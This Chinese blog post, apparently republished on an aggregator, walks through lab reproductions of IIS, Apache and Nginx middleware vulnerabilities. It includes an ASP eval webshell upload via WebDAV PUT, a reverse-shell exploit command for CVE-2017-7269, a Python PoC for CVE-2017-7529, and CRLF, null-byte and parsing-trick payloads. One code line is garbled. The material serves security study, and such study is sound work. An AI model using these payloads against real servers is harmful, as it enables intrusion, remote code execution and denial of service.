常见web中间件漏洞复现总结

news2024/10/7 12:25:12

文章目录

  • IIS
    • PUT漏洞
    • iis6.0 解析漏洞
    • IIS短文件漏洞
    • 远程代码执行(RCE-CVE-2017-7269)
    • iis7.x文件解析漏洞
    • HTTP.SYS远程代码执行 (MS15-034)
  • apache
    • 未知扩展名解析漏洞
    • AddHandler解析漏洞
    • 目录遍历漏洞
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
  • Nginx
    • 文件解析漏洞
    • 目录遍历漏洞
    • 空字节代码执行漏洞
    • 整数溢出漏洞(CVE-2017-7529)
    • CRLF 注入漏洞
    • 文件名逻辑漏洞(CVE-2013-4547)
  • 扩展

IIS

简介

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于Windows系统,不适用于其他操作系统。

PUT漏洞

利用条件

开启WebDAV和网页拥有写权限

版本:IIS 6.0

OPTIONS

OPTIONS它用于获取当前URL所支持的方法。

若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST”。

DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25

<%eval request("cmd")%>

MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination:http://upload.moonteam.com/shell.asp

//或者
MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination: /coleak.asp

修复

1.关闭webdav

2.关闭写入权限

iis6.0 解析漏洞

利用条件

该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相

当于截断。

iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp

默认将 *.asp/ 目录下的所有文件当成Asp解析

在这里插入图片描述

coleak.asp;1.jpg

/c.asp/1.jpg

IIS短文件漏洞

利用条件

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。 IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名

http://upload.moonteam.com/*~1*/a.aspx
http://upload.moonteam.com/upload*~1*/a.aspx
http://upload.moonteam.com/upload*~1.*/a.aspx
http://upload.moonteam.com/upload*~1.php/a.aspx

脚本

python iis.py http://upload.moonteam.com/

漏洞的局限性

  1. 只能猜解前六位,以及扩展名的前3位。

  2. 名称较短的文件是没有相应的短文件名的。

  3. 需要IIS和.net两个条件都满足

  4. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;

5 ) 如果文件夹名前6位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报;

  1. 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测.

远程代码执行(RCE-CVE-2017-7269)

利用条件

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

iis6-exploit-2017-CVE-2017-7269脚本

反弹shell
python2 iis6 192.168.10.144 80 192.168.10.128 6666

iis7.x文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件

HTTP.SYS远程代码执行 (MS15-034)

利用条件

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和

Windows server 2012 R2

IIS7.5、IIS8.0、IIS8.5

编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞

MS15-034-IIS-Active-DoS-Exploit-PoC脚本可以直接让服务器蓝屏

apache

简介

Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

未知扩展名解析漏洞

漏洞原理

未知扩展名解析漏洞依赖于apache解析的一个特性:apache读取文件判断文件类型时会读取最后一个后缀,如果该后缀无法识别(不在mime.types文件内),则会继续向左读取文件后缀,直到识别到合法的后缀后再进行解析。

修改配置文件

cd /etc/apache2/mods-enabled

sudo vim php8.1.conf

<FilesMatch “.+.ph(?:ar|p|tml).”>

访问aa.php.bak成功解析为php脚本

AddHandler解析漏洞

在apache2.conf里面添加一句

AddHandler application/x-httpd-php .php

利用条件

在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

然后访问/cc.php.aaaaapp自动解析为php脚本

目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存

在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

比如访问http://192.168.10.128/test/时可以遍历目录(test下面没有index文件)

修复漏洞

在httpd.conf文件中

找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes + FollowSymLinks + ExecCGI并保存(把+修改为-)

<Directory>
Options-Indexes+FollowSymLinks+ExecCGI AllowOverrideAll
Orderallow,deny
Allowfromall
Requireallgranted
</Directory>

kali中写入或者删除Indexes
Options Indexes FollowSymLinks

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

利用条件

apache :2.4.0~2.4.29版本

原理

此漏洞形成的根本原因,在于$。正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r

服务器源码

<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo $_FILES['file']['tmp_name'].'upload successfully';
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
//这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES['file']['name'] 获
//取文件名的话,会把\x0a自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成
//这个漏洞

自建一个html文件

<html>
<body>
<form action="http://192.168.10.139/coleak.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上传文件" />
</form>
</body>
</html>

n a m e = b a s e n a m e ( name = basename( name=basename(_POST[‘name’]);

在name后加一个点变成a.php.

然后进入hex,将.(2e)改为0a,(0x0a是换行符)

上传后可以访问/a.php%0A解析为php

Nginx

简介

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

利用条件

由于Nginx中php配置不当而造成的,与Nginx版本无关。但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。 例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。

php.ini配置修改如下

cgi.fix_pathinfo=1

原理

php的一个选项:cgi.fix_pathinfo,该选项默认开启,值为1,用于修理路径, 例如:当php遇到文件路径"/info.jpg/xxx.php/lxh.sec"时,若"/info.jpg/xxx.php/lxh.sec"不存在,则会去掉最后的"/lxh.sec",然后判断"/info.jpg/xxx.php"是否存 在, 若存在则将/info.jpg/xxx.php当作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。

123.jpg

<?php
phpinfo();
?>

访问/123.jpg/a.php,成功触发phpinfo

目录遍历漏洞

利用条件

autoindex on 开启目录浏览

autoindex off关闭目录浏览 默认是关闭状态

修改nginx.conf

autoindex on

访问https://192.168.10.145/admin
遍历目录

空字节代码执行漏洞

简介

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非

php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。

利用版本

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

访问info.jpg,并抓包,修改为info.jpg..php,在Hex选修卡中将jpg后面的.,将2e更改为00

整数溢出漏洞(CVE-2017-7529)

利用条件

0.5.6 - 1.13.2版本内默认配置模块的Nginx

只需要开启缓存,攻击者即可发送恶意请求进行远程攻击造成信息泄露。

poc

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

python3 poc.py http://your-ip:8080/

CRLF 注入漏洞

简介

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF

注入漏洞。

利用

攻击者打开一个网站,然后服务器会回复他一个session id。比如SID=abcdefg。Attack把这个id记下了
Attack给被攻击者发送一个电子邮件,他假装抽奖或者推销,诱导攻击者点击链接输入自己的账号和口令
因为服务器的session id不改变,现在被攻击者点击后,他就拥有了被攻击者的身份,就可以为所欲为了

修改配置文件

location / {
return 302 https://$host$uri;
}

访问/%0ASet-cookie:JSPSESSID%3D3

此时看返回的内容,服务器会set-cookie

文件名逻辑漏洞(CVE-2013-4547)

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

漏洞复现

创建1.jpg 文件并上传,抓包,在该文件最后添加一个空
访问URL:ip/1.jpg...php
在burp的hex页面中将第一个点.改成20,第二个改为004

扩展

FastCGI的重要特点

  • 1、FastCGI是HTTP服务器和动态脚本语言间通信的接口或者工具。
  • 2、FastCGI优点是把动态语言解析和HTTP服务器分离开来。
  • 3、Nginx、Apache、Lighttpd以及多数动态语言都支持FastCGI。
  • 4、FastCGI接口方式采用C/S架构,分为客户端(HTTP服务器)和服务端(动态语言解析服务器)。
  • 5、PHP动态语言服务端可以启动多个FastCGI的守护进程。
  • 6、HTTP服务器通过FastCGI客户端和动态语言FastCGI服务端通信。

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/668237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RabbitMQ入门学习笔记

文章目录 RabbitMQ学习笔记前言1、RabbitMQ概述1.1 MQ概述1.2 RabbitMQ概述 2、RabbitMQ的安装3、RabbitMQ初体验4、工作队列4.1 消息应答4.1.1 消息应答简介4.1.2 消息手动应答 4.2 队列和消息的持久化4.2.1 队列持久化4.2.2 消息持久化 4.3 消息分发4.3.1 不公平分发4.3.2 预…

[进阶]Java:线程池、处理Runnable、Callable任务、使用Executors得到线程池

什么是线程池&#xff1f; 线程池就是一个可以复用线程的技术。 不实用线程池的问题&#xff1f; 用户每发起一个请求&#xff0c;后台就需要创建一个新线程来处理&#xff0c;下次新任务来了肯定又要创建新线程处理的&#xff0c; 而创建新线程的开销是很大的&#xff0c;并…

MIT 6.S081 (BOOK-RISCV-REV1)教材第四章内容 --中

MIT 6.S081 教材第四章内容 -- 中 引言Debug Trap代码执行流程进入Trap前发生Trap时uservec函数Issue usertrap函数usertrapret函数userret函数 小结 引言 MIT 6.S081 2020 操作系统 本文为MIT 6.S081课程第四章教材内容翻译加整理。 本课程前置知识主要涉及: C语言(建议阅读…

二进制部署k8集群(上)搭建单机matser和etcd集群

1. 单机matser预部署设计 组件部署&#xff1a; 2.操作系统初始化配置 注意&#xff1a;该操作在所有node节点上进行&#xff0c;为k8s集群提供适合的初始化部署环境 #关闭防火墙 systemctl stop firewalld systemctl disable firewalld iptables -F && iptables -t n…

985大学学生故意挂科为延毕?赖校族的无奈。

“他室友挂了4科&#xff0c;答辩随便写了几句&#xff0c;一问三不知。” “然后呢&#xff1f;他室友延毕了吗&#xff1f;” “没有。导员找他谈话&#xff0c;说让他室友按时毕业&#xff0c;因为想延毕的人太多了&#xff0c;别人挂的都比他室友多。” 以上对话不仅仅是…

PLC原理及PLC+FPGA(SOC)架构方案简介

一、PLC原理简介 工业生产和科技的发展都离不开PLC的自动化控制&#xff0c;PLC可以广义的理解为&#xff1a; 集中的继电器延伸控制柜&#xff0c;实际的生产应用中&#xff0c;PLC大大的节省了工业控制的成本&#xff0c;加强了设备的集中管理和自动控制。 PLC&#xff08…

【人脸检测——基于机器学习4】HOG特征

前言 HOG特征的全称是Histograms of Oriented Gradients,基于HOG特征的人脸识别算法主要包括HOG特征提取和目标检测,该算法的流程图如下图所示。本文主要讲HOG特征提取。 HOG特征的组成 Cell:将一幅图片划分为若干个cell(如上图绿色框所示),每个cell为8*8像素 Block:选…

NET Core 6.0 webapi 简单使用+连接数据库

文章目录 环境创建WebApi并防止Api冲突Swagger添加注释连接sqlite数据库Nuget包代码 环境 ASP.NET coreNET core 6.0 创建WebApi并防止Api冲突 using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc;namespace WebApi1.Controllers {//[Route("api/[control…

三、Docker基本使用及命令

学习参考&#xff1a;尚硅谷Docker实战教程、Docker官网、其他优秀博客(参考过的在文章最后列出) 目录 前言一、帮助启动类命令1.1 启动docker1.2 停止docker1.3 重启docker1.4 查看docker状态1.5 开机启动1.6 查看docker概要信息1.7 查看docker总体帮助文档1.8 查看docker命令…

Qt QPainter

QPainter需要在QPaintEvent中绘画 绘画需要笔 绘画需要的基础头文件 QPainter QPaintEvent QPen QPainter 建立painter之后就可以绘画&#xff0c;pen这些都有默认实现 可画设备 圆用椭圆画 重新绘画 重新绘画只需要重新加入画笔就可以 painter.setPen(pen); // 重新…

Shell脚本中的数值计算:使用数学运算实现数值操作

前言 沐风晓月带你学云原生开发&#xff0c;从零开始&#xff0c;我们出发&#xff0c;让知识学习不再难。 &#x1f3e0;个人主页&#xff1a;我是沐风晓月 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是沐风晓月&#xff0c;阿里云社区博客专家 &#x1f609;&…

高数基础6

目录 导数与微分 导数的定义式&#xff1a; 导数的第二个定义式&#xff1a; 左右导数 区间内可导 例题&#xff1a; 例题2&#xff1a; 微分 微分的概念 例题&#xff1a; 导数的几何意义&#xff1a; 切线方程与法线方程 例题&#xff1a; 连续可导可微之间的关系…

短视频矩阵系统源码开发部署分享

短视频矩阵系统源码开发需要用到以下技术&#xff1a; 1.前端技术&#xff1a;HTML、CSS、JavaScript、Vue.js等前端框架。 2.后端技术&#xff1a;Java、Python、PHP等后端语言及相关框架&#xff0c;如Spring Boot、Django、Laravel等。 3.移动开发技术&#xff1a;Androi…

文本匹配模型实验报告-text2vec

文本匹配模型实验报告-text2vec 尽管基于BERT的模型在NLP诸多下游任务中取得了成功&#xff0c;直接从BERT导出的句向量表示往往被约束在一个很小的区域内&#xff0c;表现出很高的相似度&#xff0c;因而难以直接用于文本语义匹配。为解决BERT原生句子表示这种“坍缩”现象&a…

软件开发流程的演变:敏捷开发(XP、SCRUM)、DevOps(CI/CD)的概念

一、软件开发流程的演变 二、传统瀑布模型 1.瀑布模型特点 软件开发的各项活动严格按照线性方式进行 当前活动接受上一项活动的工作结果 当前活动的工作结果需要进行验证 2.瀑布模型优缺点 优点 开发的各个阶段比较清晰 强调早期计划及需求调查 适合需求稳定的产品开发 缺点…

权限获得第一步

根据题目提示flag就是某个密码&#xff0c;并且flag不是常规形式 打开文件后看起来是一个linux的用户密码段 反正最后两个最可疑了&#xff0c;linux中密码的存储形式是MD5加密 第一个数据解码失败 第二个密文解密成功 果然不是常规形式&#xff0c;常规的flag一本都是是英文加…

在Linux系统下使用Ventoy制作Windows安装U盘

文章目录 介绍Ventoy 简介PE 简介 制作 Ventoy U 盘安装 Ventoy将 Ventoy 安装到 U 盘 制作 PE 辅助系统下载优启通下载操作系统 ISO 镜像 安装操作系统准备工作安装系统 介绍 Ventoy 简介 Ventoy 是一个制作可启动 U 盘的开源工具。有了 Ventoy &#xff0c;就无需反复地格式…

IDE/记录VS2015WinSDK安装过程中增删的系统组件和环境变量

文章目录 概述看看"干净OS环境"安装VS软件后系统目录变化环境变量变化新增的组件程序 Qt及其VS插件安装后安装WinSDK后安装Win10SDK前安装WinSDK后 卸载VS2015其他软件的影响 概述 本文旨在&#xff0c;通过记录干净OS环境下 VS2015、Qt、WinSDK 软件安装前后&#…

使用mount临时挂载出现mount error(13): Permission denied

问题报错 mount error(13): Permission denied Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) //报错信息&#xff0c;提示账号密码错误&#xff0c;其实并不是 添加secntlmssp参数即可&#xff1b;中途可能需要等一些时间 mount -t cifs -o usernamelisi,p…

在低配Windows上部署原版llama.cpp

现在大语言模型的部署&#xff0c;通常都需要大的GPU才能实现&#xff0c;如果是仅仅想研究一下&#xff0c;大语言模型的算法&#xff0c;我们是很想能够直接在我们的工作电脑上就能直接运行的&#xff0c;llama.cpp就是很好的实现。 LLaMa.cpp使用int4这种数值格式&#xff…